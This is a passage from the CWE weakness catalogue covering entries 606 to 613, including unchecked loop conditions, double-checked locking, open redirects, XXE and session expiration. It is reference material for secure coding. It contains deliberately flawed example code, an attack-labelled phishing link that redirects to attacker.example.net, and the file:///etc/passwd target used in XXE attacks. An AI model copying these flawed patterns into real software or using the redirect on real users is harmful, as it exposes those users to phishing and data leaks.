MemberOf	V	884	CWE Cross-section	884	2567
MemberOf	C	954	SFP Secondary Cluster: Multiple Binds to the Same Port	888	2397
MemberOf	C	1412	Comprehensive Categorization: Poor Coding Practices	1400	2538

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
Software Fault Patterns	SFP32		Multiple binds to the same port

CWE-606: Unchecked Input for Loop Condition

Weakness ID : 606
Structure : Simple
Abstraction : Base

Description

The product does not properly check inputs that are used for loop conditions, potentially leading to a denial of service or other consequences because of excessive looping.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	1284	Improper Validation of Specified Quantity in Input	2130
CanPrecede	C	834	Excessive Iteration	1754

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1215	Data Validation Issues	2478

Common Consequences

Scope	Impact	Likelihood
Availability	DoS: Resource Consumption (CPU)	

Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness = High

Potential Mitigations

Phase: Implementation

Do not use user-controlled data for loop conditions.

Phase: Implementation

Perform input validation.

Demonstrative Examples

Example 1:

The following example demonstrates the weakness.

Example Language: C *(Bad)*

```
void iterate(int n){
  int i;
  for (i = 0; i < n; i++){
    foo();
  }
}
void iterateFoo()
{
  unsigned int num;
  scanf("%u",&num);
  iterate(num);
}
```

Example 2:

In the following C/C++ example the method processMessageFromSocket() will get a message from a socket, placed into a buffer, and will parse the contents of the buffer into a structure that contains the message length and the message body. A for loop is used to copy the message body into a local character string which will be passed to another method for processing.

Example Language: C *(Bad)*

```
int processMessageFromSocket(int socket) {
  int success;
  char buffer[BUFFER_SIZE];
  char message[MESSAGE_SIZE];
  // get message from socket and store into buffer
  //Ignoring possibliity that buffer > BUFFER_SIZE
  if (getMessage(socket, buffer, BUFFER_SIZE) > 0) {
    // place contents of the buffer into message structure
    ExMessage *msg = recastBuffer(buffer);
    // copy message body into string for processing
    int index;
    for (index = 0; index < msg->msgLength; index++) {
      message[index] = msg->msgBody[index];
    }
    message[index] = '\0';
    // process message
    success = processMessage(message);
  }
  return success;
}
```

However, the message length variable from the structure is used as the condition for ending the for loop without validating that the message length variable accurately reflects the length of the message body (CWE-606). This can result in a buffer over-read (CWE-125) by reading from memory beyond the bounds of the buffer if the message length variable indicates a length that is longer than the size of a message body (CWE-130).

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	738	CERT C Secure Coding Standard (2008) Chapter 5 - Integers (INT)	734	2342
MemberOf	C	872	CERT C++ Secure Coding Section 04 - Integers (INT)	868	2374
MemberOf	C	994	SFP Secondary Cluster: Tainted Input to Variable	888	2417
MemberOf	C	1131	CISQ Quality Measures (2016) - Security	1128	2442
MemberOf	C	1308	CISQ Quality Measures - Security	1305	2485
MemberOf	V	1340	CISQ Data Protection Measures	1340	2590
MemberOf	C	1406	Comprehensive Categorization: Improper Input Validation	1400	2531

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
Software Fault Patterns	SFP25		Tainted input to variable
OMG ASCSM	ASCSM-CWE-606		

References

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

[REF-962]Object Management Group (OMG). "Automated Source Code Security Measure (ASCSM)". 2016 January. < http://www.omg.org/spec/ASCSM/1.0/ >.

CWE-607: Public Static Final Field References Mutable Object

Weakness ID : 607
Structure : Simple
Abstraction : Variant

Description

A public or protected static final field references a mutable object, which allows the object to be changed by malicious code, or accidentally from another package.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	471	Modification of Assumed-Immutable Data (MAID)	1121

Applicable Platforms

Language : Java *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Integrity	Modify Application Data	

Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness = High

Potential Mitigations

Phase: Implementation

Protect mutable objects by making them private. Restrict access to the getter and setter as well.

Demonstrative Examples

Example 1:

Here, an array (which is inherently mutable) is labeled public static final.

Example Language: Java *(Bad)*

```
public static final String[] USER_ROLES;
```

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	963	SFP Secondary Cluster: Exposed Data	888	2400
MemberOf	C	1416	Comprehensive Categorization: Resource Lifecycle Management	1400	2545

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
Software Fault Patterns	SFP23		Exposed Data

CWE-608: Struts: Non-private Field in ActionForm Class

Weakness ID : 608
Structure : Simple
Abstraction : Variant

Description

An ActionForm class contains a field that has not been declared private, which can be accessed without using a setter or getter.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	●	668	Exposure of Resource to Wrong Sphere	1469

Weakness Ordinalities

Primary :

Applicable Platforms

Language : Java *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Integrity Confidentiality	Modify Application Data Read Application Data	

Potential Mitigations

Phase: Implementation

Make all fields private. Use getter to get the value of the field. Setter should be used only by the framework; setting an action form field from other actions is bad practice and should be avoided.

Demonstrative Examples

Example 1:

In the following Java example the class RegistrationForm is a Struts framework ActionForm Bean that will maintain user input data from a registration webpage for a online business site. The user will enter registration data and through the Struts framework the RegistrationForm bean will maintain the user data.

Example Language: Java *(Bad)*

```
public class RegistrationForm extends org.apache.struts.validator.ValidatorForm {
  // variables for registration form
  public String name;
  public String email;
  ...
  public RegistrationForm() {
    super();
  }
  public ActionErrors validate(ActionMapping mapping, HttpServletRequest request) {...}
  ...
}
```

However, within the RegistrationForm the member variables for the registration form input data are declared public not private. All member variables within a Struts framework ActionForm class must be declared private to prevent the member variables from being modified without using the getter and setter methods. The following example shows the member variables being declared private and getter and setter methods declared for accessing the member variables.

Example Language: Java *(Good)*

```
public class RegistrationForm extends org.apache.struts.validator.ValidatorForm {
  // private variables for registration form
  private String name;
  private String email;
  ...
  public RegistrationForm() {
    super();
  }
  public ActionErrors validate(ActionMapping mapping, HttpServletRequest request) {...}
  // getter and setter methods for private variables
  ...
}
```

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1002	SFP Secondary Cluster: Unexpected Entry Points	888	2421
MemberOf	C	1403	Comprehensive Categorization: Exposed Resource	1400	2528

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
Software Fault Patterns	SFP28		Unexpected access points

CWE-609: Double-Checked Locking

Weakness ID : 609
Structure : Simple
Abstraction : Base

Description

The product uses double-checked locking to access a resource without the overhead of explicit synchronization, but the locking is insufficient.

Extended Description

Double-checked locking refers to the situation where a programmer checks to see if a resource has been initialized, grabs a lock, checks again to see if the resource has been initialized, and then performs the initialization if it has not occurred yet. This should not be done, as it is not guaranteed to work in all languages and on all architectures. In summary, other threads may not be operating inside the synchronous block and are not guaranteed to see the operations execute in the same order as they would appear inside the synchronous block.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	667	Improper Locking	1464
CanPrecede	B	367	Time-of-check Time-of-use (TOCTOU) Race Condition	906

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	411	Resource Locking Problems	2325

Applicable Platforms

Language : Java *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Integrity Other	Modify Application Data Alter Execution Logic	

Potential Mitigations

Phase: Implementation

While double-checked locking can be achieved in some languages, it is inherently flawed in Java before 1.5, and cannot be achieved without compromising platform independence. Before Java 1.5, only use of the synchronized keyword is known to work. Beginning in Java 1.5, use of the "volatile" keyword allows double-checked locking to work successfully, although there is some debate as to whether it achieves sufficient performance gains. See references.

Demonstrative Examples

Example 1:

It may seem that the following bit of code achieves thread safety while avoiding unnecessary synchronization...

Example Language: Java *(Bad)*

```
if (helper == null) {
  synchronized (this) {
    if (helper == null) {
      helper = new Helper();
    }
  }
}
return helper;
```

The programmer wants to guarantee that only one Helper() object is ever allocated, but does not want to pay the cost of synchronization every time this code is called.

Suppose that helper is not initialized. Then, thread A sees that helper==null and enters the synchronized block and begins to execute:

Example Language: *(Bad)*

```
helper = new Helper();
```

If a second thread, thread B, takes over in the middle of this call and helper has not finished running the constructor, then thread B may make calls on helper while its fields hold incorrect values.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	853	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 10 - Locking (LCK)	844	2366
MemberOf	C	986	SFP Secondary Cluster: Missing Lock	888	2411
MemberOf	C	1143	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 09. Locking (LCK)	1133	2449
MemberOf	C	1401	Comprehensive Categorization: Concurrency	1400	2526

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
The CERT Oracle Secure Coding Standard for Java (2011)	LCK10-J		Do not use incorrect forms of the double-checked locking idiom
Software Fault Patterns	SFP19		Missing Lock

References

[REF-490]David Bacon et al. "The "Double-Checked Locking is Broken" Declaration". < http://www.cs.umd.edu/~pugh/java/memoryModel/DoubleCheckedLocking.html >.

[REF-491]Jeremy Manson and Brian Goetz. "JSR 133 (Java Memory Model) FAQ". < http://www.cs.umd.edu/~pugh/java/memoryModel/jsr-133-faq.html#dcl >.

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

CWE-610: Externally Controlled Reference to a Resource in Another Sphere

Weakness ID : 610
Structure : Simple
Abstraction : Class

Description

The product uses an externally controlled name or reference that resolves to a resource that is outside of the intended control sphere.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to

similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	664	Improper Control of a Resource Through its Lifetime	1454
ParentOf	B	15	External Control of System or Configuration Setting	17
ParentOf	B	73	External Control of File Name or Path	132
ParentOf	♣	384	Session Fixation	936
ParentOf	C	441	Unintended Proxy or Intermediary ('Confused Deputy')	1064
ParentOf	B	470	Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection')	1118
ParentOf	B	601	URL Redirection to Untrusted Site ('Open Redirect')	1345
ParentOf	B	611	Improper Restriction of XML External Entity Reference	1367
PeerOf	B	386	Symbolic Name not Mapping to Correct Object	942

Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)

Nature	Type	ID	Name	Page
ParentOf	♣	384	Session Fixation	936
ParentOf	B	601	URL Redirection to Untrusted Site ('Open Redirect')	1345
ParentOf	B	611	Improper Restriction of XML External Entity Reference	1367
ParentOf	B	918	Server-Side Request Forgery (SSRF)	1820
ParentOf	B	1021	Improper Restriction of Rendered UI Layers or Frames	1860

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1015	Limit Access	2430

Common Consequences

Scope	Impact	Likelihood
Confidentiality Integrity	Read Application Data Modify Application Data	

Demonstrative Examples

Example 1:

The following code is a Java servlet that will receive a GET request with a url parameter in the request to redirect the browser to the address specified in the url parameter. The servlet will retrieve the url parameter value from the request and send a response to redirect the browser to the url address.

Example Language: Java *(Bad)*

```
public class RedirectServlet extends HttpServlet {
  protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException
  {
    String query = request.getQueryString();
    if (query.contains("url")) {
      String url = request.getParameter("url");
      response.sendRedirect(url);
    }
  }
}
```

The problem with this Java servlet code is that an attacker could use the RedirectServlet as part of an e-mail phishing scam to redirect users to a malicious site. An attacker could send an HTML formatted e-mail directing the user to log into their account by including in the e-mail the following link:

Example Language: HTML *(Attack)*

```
<a href="http://bank.example.com/redirect?url=http://attacker.example.net">Click here to log in</a>
```

The user may assume that the link is safe since the URL starts with their trusted bank, bank.example.com. However, the user will then be redirected to the attacker's web site (attacker.example.net) which the attacker may have made to appear very similar to bank.example.com. The user may then unwittingly enter credentials into the attacker's web page and compromise their bank account. A Java servlet should never redirect a user to a URL without verifying that the redirect address is a trusted site.

Observed Examples

Reference	Description
CVE-2022-3032	An email client does not block loading of remote objects in a nested document. *https://www.cve.org/CVERecord?id=CVE-2022-3032*
CVE-2022-45918	Chain: a learning management tool debugger uses external input to locate previous session logs (CWE-73) and does not properly validate the given path (CWE-20), allowing for filesystem path traversal using "../" sequences (CWE-24) *https://www.cve.org/CVERecord?id=CVE-2022-45918*
CVE-2018-1000613	Cryptography API uses unsafe reflection when deserializing a private key *https://www.cve.org/CVERecord?id=CVE-2018-1000613*
CVE-2020-11053	Chain: Go-based Oauth2 reverse proxy can send the authenticated user to another site at the end of the authentication flow. A redirect URL with HTML-encoded whitespace characters can bypass the validation (CWE-1289) to redirect to a malicious site (CWE-601) *https://www.cve.org/CVERecord?id=CVE-2020-11053*
CVE-2022-42745	Recruiter software allows reading arbitrary files using XXE *https://www.cve.org/CVERecord?id=CVE-2022-42745*
CVE-2004-2331	Database system allows attackers to bypass sandbox restrictions by using the Reflection API. *https://www.cve.org/CVERecord?id=CVE-2004-2331*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	980	SFP Secondary Cluster: Link in Resource Name Resolution	888	2409
MemberOf	V	1003	Weaknesses for Simplified Mapping of Published Vulnerabilities	1003	2576
MemberOf	C	1347	OWASP Top Ten 2021 Category A03:2021 - Injection	1344	2490
MemberOf	C	1368	ICS Dependencies (& Architecture): External Digital Systems	1358	2505
MemberOf	C	1416	Comprehensive Categorization: Resource Lifecycle Management	1400	2545

Notes

Relationship

This is a general class of weakness, but most research is focused on more specialized cases, such as path traversal (CWE-22) and symlink following (CWE-61). A symbolic link has a name;

in general, it appears like any other file in the file system. However, the link includes a reference to another file, often in another directory - perhaps in another sphere of control. Many common library functions that accept filenames will "follow" a symbolic link and use the link's target instead.

Maintenance

The relationship between CWE-99 and CWE-610 needs further investigation and clarification. They might be duplicates. CWE-99 "Resource Injection," as originally defined in Seven Pernicious Kingdoms taxonomy, emphasizes the "identifier used to access a system resource" such as a file name or port number, yet it explicitly states that the "resource injection" term does not apply to "path manipulation," which effectively identifies the path at which a resource can be found and could be considered to be one aspect of a resource identifier. Also, CWE-610 effectively covers any type of resource, whether that resource is at the system layer, the application layer, or the code layer.

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
219	XML Routing Detour Attacks

CWE-611: Improper Restriction of XML External Entity Reference

Weakness ID : 611
Structure : Simple
Abstraction : Base

Description

The product processes an XML document that can contain XML entities with URIs that resolve to documents outside of the intended sphere of control, causing the product to embed incorrect documents into its output.

Extended Description

XML documents optionally contain a Document Type Definition (DTD), which, among other features, enables the definition of XML entities. It is possible to define an entity by providing a substitution string in the form of a URI. The XML parser can access the contents of this URI and embed these contents back into the XML document for further processing.

By submitting an XML file that defines an external entity with a file:// URI, an attacker can cause the processing application to read the contents of a local file. For example, a URI such as "file:///c:/winnt/win.ini" designates (in Windows) the file C:\Winnt\win.ini, or file:///etc/passwd designates the password file in Unix-based systems. Using URIs with other schemes such as http://, the attacker can force the application to make outgoing requests to servers that the attacker cannot reach directly, which can be used to bypass firewall restrictions or hide the source of attacks such as port scanning.

Once the content of the URI is read, it is fed back into the application that is processing the XML. This application may echo back the data (e.g. in an error message), thereby exposing the file contents.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	610	Externally Controlled Reference to a Resource in Another Sphere	1364
PeerOf	C	441	Unintended Proxy or Intermediary ('Confused Deputy')	1064

Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)

Nature	Type	ID	Name	Page
ChildOf	C	610	Externally Controlled Reference to a Resource in Another Sphere	1364

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1015	Limit Access	2430

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	19	Data Processing Errors	2309

Applicable Platforms

Language : XML *(Prevalence = Undetermined)*

Technology : Web Based *(Prevalence = Undetermined)*

Alternate Terms

XXE : An acronym used for the term "XML eXternal Entities"

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data Read Files or Directories *If the attacker is able to include a crafted DTD and a default entity resolver is enabled, the attacker may be able to access arbitrary files on the system.*	
Integrity	Bypass Protection Mechanism *The DTD may include arbitrary HTTP requests that the server may execute. This could lead to other attacks leveraging the server's trust relationship with other entities.*	
Availability	DoS: Resource Consumption (CPU) DoS: Resource Consumption (Memory) *The product could consume excessive CPU cycles or memory using a URI that points to a large file, or a device that always returns data such as /dev/random. Alternately, the URI could reference a file that contains many nested or recursive entity references to further slow down parsing.*	

Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness = High

Potential Mitigations

Phase: Implementation

Phase: System Configuration

Many XML parsers and validators can be configured to disable external entity expansion.

Observed Examples

Reference	Description
CVE-2022-42745	Recruiter software allows reading arbitrary files using XXE *https://www.cve.org/CVERecord?id=CVE-2022-42745*
CVE-2005-1306	A browser control can allow remote attackers to determine the existence of files via Javascript containing XML script. *https://www.cve.org/CVERecord?id=CVE-2005-1306*
CVE-2012-5656	XXE during SVG image conversion *https://www.cve.org/CVERecord?id=CVE-2012-5656*
CVE-2012-2239	XXE in PHP application allows reading the application's configuration file. *https://www.cve.org/CVERecord?id=CVE-2012-2239*
CVE-2012-3489	XXE in database server *https://www.cve.org/CVERecord?id=CVE-2012-3489*
CVE-2012-4399	XXE in rapid web application development framework allows reading arbitrary files. *https://www.cve.org/CVERecord?id=CVE-2012-4399*
CVE-2012-3363	XXE via XML-RPC request. *https://www.cve.org/CVERecord?id=CVE-2012-3363*
CVE-2012-0037	XXE in office document product using RDF. *https://www.cve.org/CVERecord?id=CVE-2012-0037*
CVE-2011-4107	XXE in web-based administration tool for database. *https://www.cve.org/CVERecord?id=CVE-2011-4107*
CVE-2010-3322	XXE in product that performs large-scale data analysis. *https://www.cve.org/CVERecord?id=CVE-2010-3322*
CVE-2009-1699	XXE in XSL stylesheet functionality in a common library used by some web browsers. *https://www.cve.org/CVERecord?id=CVE-2009-1699*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	990	SFP Secondary Cluster: Tainted Input to Command	888	2413
MemberOf	C	1030	OWASP Top Ten 2017 Category A4 - XML External Entities (XXE)	1026	2437
MemberOf	V	1200	Weaknesses in the 2019 CWE Top 25 Most Dangerous Software Errors	1200	2587
MemberOf	C	1308	CISQ Quality Measures - Security	1305	2485
MemberOf	V	1337	Weaknesses in the 2021 CWE Top 25 Most Dangerous Software Weaknesses	1337	2589
MemberOf	V	1340	CISQ Data Protection Measures	1340	2590
MemberOf	C	1349	OWASP Top Ten 2021 Category A05:2021 - Security Misconfiguration	1344	2493
MemberOf	V	1350	Weaknesses in the 2020 CWE Top 25 Most Dangerous Software Weaknesses	1350	2594

Nature	Type	ID	Name	V	Page
MemberOf	V	1387	Weaknesses in the 2022 CWE Top 25 Most Dangerous Software Weaknesses	1387	2597
MemberOf	C	1396	Comprehensive Categorization: Access Control	1400	2519

Notes

Relationship

CWE-918 (SSRF) and CWE-611 (XXE) are closely related, because they both involve web-related technologies and can launch outbound requests to unexpected destinations. However, XXE can be performed client-side, or in other contexts in which the software is not acting directly as a server, so the "Server" portion of the SSRF acronym does not necessarily apply.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
WASC	43		XML External Entities
Software Fault Patterns	SFP24		Tainted input to command

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
221	Data Serialization External Entities Blowup

References

[REF-496]OWASP. "XML External Entity (XXE) Processing". < https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Processing >.

[REF-497]Sascha Herzog. "XML External Entity Attacks (XXE)". 2010 October 0. < https://owasp.org/www-pdf-archive/XML_Exteral_Entity_Attack.pdf >.2023-04-07.

[REF-498]Gregory Steuck. "XXE (Xml eXternal Entity) Attack". < https://www.beyondsecurity.com/ >.2023-04-07.

[REF-499]WASC. "XML External Entities (XXE) Attack". < http://projects.webappsec.org/w/page/13247003/XML%20External%20Entities >.

[REF-500]Bryan Sullivan. "XML Denial of Service Attacks and Defenses". 2009 September. < https://learn.microsoft.com/en-us/archive/msdn-magazine/2009/november/xml-denial-of-service-attacks-and-defenses >.2023-04-07.

[REF-501]Chris Cornutt. "Preventing XXE in PHP". < https://websec.io/2012/08/27/Preventing-XXE-in-PHP.html >.2023-04-07.

CWE-612: Improper Authorization of Index Containing Sensitive Information

Weakness ID : 612
Structure : Simple
Abstraction : Base

Description

The product creates a search index of private or sensitive documents, but it does not properly limit index access to actors who are authorized to see the original information.

Extended Description

Web sites and other document repositories may apply an indexing routine against a group of private documents to facilitate search. If the index's results are available to parties who do not have access to the documents being indexed, then attackers could obtain portions of the documents by conducting targeted searches and reading the results. The risk is especially dangerous if search results include surrounding text that was not part of the search query. This issue can appear in search engines that are not configured (or implemented) to ignore critical files that should remain hidden; even without permissions to download these files directly, the remote user could read them.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	1230	Exposure of Sensitive Information Through Metadata	2006

Applicable Platforms

Language : Not Language-Specific *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data	

Observed Examples

Reference	Description
CVE-2022-41918	A search application's access control rules are not properly applied to indices for data streams, allowing for the viewing of sensitive information. *https://www.cve.org/CVERecord?id=CVE-2022-41918*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	963	SFP Secondary Cluster: Exposed Data	888	2400
MemberOf	C	1396	Comprehensive Categorization: Access Control	1400	2519

Notes

Research Gap

This weakness is probably under-studied and under-reported.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
WASC	48		Insecure Indexing

References

[REF-1050]WASC. "Insecure Indexing". < http://projects.webappsec.org/w/page/13246937/Insecure%20Indexing >.

CWE-613: Insufficient Session Expiration

Weakness ID : 613
Structure : Simple
Abstraction : Base

Description

According to WASC, "Insufficient Session Expiration is when a web site permits an attacker to reuse old session credentials or session IDs for authorization."

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	●	672	Operation on a Resource after Expiration or Release	1479
CanPrecede	●	287	Improper Authentication	692

Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)

Nature	Type	ID	Name	Page
ChildOf	●	672	Operation on a Resource after Expiration or Release	1479

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1018	Manage User Sessions	2432

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1217	User Session Errors	2479

Common Consequences

Scope	Impact	Likelihood
Access Control	Bypass Protection Mechanism	

Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness = High

Potential Mitigations

Phase: Implementation

Set sessions/credentials expiration date.

Demonstrative Examples

Example 1:

The following snippet was taken from a J2EE web.xml deployment descriptor in which the session-timeout parameter is explicitly defined (the default value depends on the container). In this case the value is set to -1, which means that a session will never expire.

Example Language: Java *(Bad)*

```
<web-app>
  [...snipped...]
```